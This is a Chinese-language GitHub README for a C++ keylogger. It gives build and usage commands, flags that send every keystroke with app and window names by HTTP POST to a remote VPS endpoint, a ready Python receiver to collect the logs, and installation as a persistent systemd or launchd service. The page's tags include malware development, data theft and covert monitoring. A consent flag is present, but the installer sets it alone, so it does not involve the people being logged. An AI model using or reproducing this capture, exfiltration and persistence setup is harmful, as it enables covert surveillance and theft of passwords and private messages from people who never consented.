ArtinDoroudi/keylogger
GitHub: ArtinDoroudi/keylogger
一款基于 C++ 的跨平台按键记录工具,支持本地 JSONL 日志记录与 HTTP 远程传输,可安装为系统服务实现持久化运行。
Stars: 0 | Forks: 0
# keylogger-demo
按键记录器,支持通过 HTTP POST 可选地远程传输日志。
## 构建
```
cmake -B build -DCMAKE_BUILD_TYPE=Release
cmake --build build
```
## 快速开始
```
# 交互式(记录到 cwd,按 Ctrl+C 停止)
./build/keylogger --consent
# 带远程日志记录(镜像 = 本地文件 + HTTP POST)
./build/keylogger --consent \
--net-mode mirror \
--net-endpoint http://your-vps:8080/logs
```
## 标志
| 标志 | 描述 |
|------|-------------|
| `--consent` | 交互式启动记录 |
| `--service` | 无人值守模式(需要 `--consent-file`) |
| `--consent-file ` | 第一行为以下内容的文件:`I OWN THIS SYSTEM AND CONSENT TO LOGGING` |
| `--log-dir ` | 日志输出目录(默认:cwd) |
| `--session-tag ` | 添加到每个事件的标签(1-64 个字符,`[A-Za-z0-9_-]`) |
| `--install` | 注册为系统服务(需要 sudo) |
| `--uninstall` | 移除系统服务(需要 sudo) |
| `--status` | 检查服务是否已注册/正在运行 |
| `--force` | 与 `--install` 一起使用时,覆盖现有注册 |
| `--net-mode ` | `off`(默认),`mirror`(本地 + 远程),`net-only`(仅远程) |
| `--net-endpoint ` | HTTP 端点,例如 `http://your-vps:8080/logs` |
| `--net-timeout-ms ` | 连接/发送超时时间(毫秒)(默认:5000) |
| `--net-retry-max ` | 每个事件的重试次数(默认:3) |
## 网络日志
当 `--net-mode` 为 `mirror` 或 `net-only` 时,每次按键事件都会作为 JSON 通过 HTTP POST 发送:
```
POST /logs HTTP/1.1
Content-Type: application/json
{"ts":"2026-05-02T17:30:45.123Z","vk":65,"key":"a","down":true,"os":"macos","app":"Firefox","window":"Google Search","session_tag":null}
```
您的服务器只需接受 POST 并返回 200。事件在后台线程中发送,绝不会阻塞按键捕获。发送失败的操作将在退避重试后被丢弃。
### 最小接收器(Python,无依赖)
```
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
body = self.rfile.read(int(self.headers.get("Content-Length", 0)))
with open("keys.jsonl", "a") as f:
f.write(body.decode() + "\n")
self.send_response(200)
self.end_headers()
def log_message(self, *a): pass
HTTPServer(("0.0.0.0", 8080), Handler).serve_forever()
```
在您的 VPS 上运行:`python3 receiver.py`
## 日志格式
换行符分隔的 JSON(`.jsonl`)。每个事件:
```
{"ts":"2026-05-02T14:30:00.123Z","vk":65,"key":"a","down":true,"os":"linux","app":"Terminal","window":"zsh","session_tag":"lab-01"}
```
## 服务安装
```
# Linux (systemd)
sudo ./build/keylogger --install \
--consent-file /etc/keylogger/consent.txt \
--log-dir /var/log/keylogger
# macOS (launchd) - 在系统设置中授予 Input Monitoring 权限
sudo ./build/keylogger --install \
--consent-file /etc/keylogger/consent.txt \
--log-dir /var/log/keylogger
# 检查 / 移除
./build/keylogger --status
sudo ./build/keylogger --uninstall
```
标签:Bash脚本, C++, CMake, ETW劫持, Homebrew安装, HTTP POST, JSON, Python, 中高交互蜜罐, 击键记录, 后门开发, 嗅探欺骗, 恶意软件开发, 数据外发, 数据擦除, 数据窃取, 无后门, 日志记录, 权限维持, 系统服务, 网络安全, 远程日志传输, 键盘监听, 键盘记录器, 隐私保护, 隐蔽监控